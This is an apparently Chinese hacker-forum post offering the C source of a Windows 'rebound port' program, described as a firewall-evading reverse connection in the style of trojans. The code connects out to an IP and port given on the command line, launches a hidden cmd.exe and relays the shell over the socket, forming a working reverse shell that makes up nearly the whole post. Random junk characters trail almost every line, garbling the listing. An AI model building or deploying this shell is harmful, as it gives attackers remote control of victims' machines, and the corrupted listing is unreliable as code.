这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TwE&5F*
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/* ============================== c_2kHT
Rebound port in Windows NT RK]."m0c~#
By wind,2006/7 '$OLU[(Y
===============================*/ TLzcQ |
#include m+'X8}GC#O
#include an?g'8! r:
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#pragma comment(lib,"wsock32.lib") wa9{Q}wSa
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void OutputShell();
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SOCKET sClient; Z$@ XMq!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Sytx9`G 5
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void main(int argc,char **argv) |}roR{gc|
{ jd DcmR
WSADATA stWsaData; Xp3cYS*u
int nRet; dv\oVD
SOCKADDR_IN stSaiClient,stSaiServer; d7QQ5FiB
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if(argc != 3) xZ"kJ'C4}
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); 4fzM%ku
return; Ib4 8`
} $VJ=A<
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WSAStartup(MAKEWORD(2,2),&stWsaData); ph1veD<ZZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k}Vu!+c z
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stSaiClient.sin_family = AF_INET; l:kF0tj"
stSaiClient.sin_port = htons(0); 0ID
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mk~Lkwl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?G-a:'1!6
{ {z%%(,I
printf("Bind Socket Failed!\n"); kR-5RaW
return; ,
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} ex2*oqAdX
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stSaiServer.sin_family = AF_INET; c~Hq.K$d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Icf@uQ6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _zO,VL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P8s'e_t
{ h^0!I TL ^
printf("Connect Error!"); {4{ACp
return; SIRZ_lt$r
} >!YI7)
OutputShell(); #6JCm!s
} N1!|nS3w
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void OutputShell() V9m1n=r
{ IV:Knh+
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char szBuff[1024]; ji2if.t@
SECURITY_ATTRIBUTES stSecurityAttributes; G>{;@u
OSVERSIONINFO stOsversionInfo; Rf\>bI<.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 18!0Hl>
STARTUPINFO stStartupInfo; lBTgI"n=eK
char *szShell; ni]gS0/
PROCESS_INFORMATION stProcessInformation; mvxg|<
unsigned long lBytesRead; Z;i^h,j?$1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P>kS$U)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 413r3/
stSecurityAttributes.lpSecurityDescriptor = 0; >[Q(!Ai
stSecurityAttributes.bInheritHandle = TRUE; femAVx}go
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TaB35glLY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?Zoq|Q+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H1=R(+-s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uBs[[9je(
stStartupInfo.wShowWindow = SW_HIDE; ~GS`@IU}
stStartupInfo.hStdInput = hReadPipe; ? P`]^#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; te'<xfG
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GetVersionEx(&stOsversionInfo); `&>!a
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switch(stOsversionInfo.dwPlatformId) O`mW,
{ KFC zf_P!
case 1: yZ+o7?(2p
szShell = "command.com"; P*(lc:
break; 'F[Q E9]*
default: `)H.TMI
szShell = "cmd.exe"; =J?<M?ugf
break; 4- 6'
} )r1Z}X(#d
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !cE)LG
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send(sClient,szMsg,77,0); T cSj`-
while(1) e[n T'e
{ <<&:BK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Cl>'K*$F
if(lBytesRead) Z)7
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{ XUUS N
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Khw!+!(H
send(sClient,szBuff,lBytesRead,0); IEeh)aj[
} Q:kpaMA1P
else %r~TMU2"
{ /5r[M=_ihr
lBytesRead=recv(sClient,szBuff,1024,0); .f&,~$e4
if(lBytesRead<=0) break; 0/(YH
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o *I-~k
} {q8V
} R`>E_SY
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return; kRE^G*?
}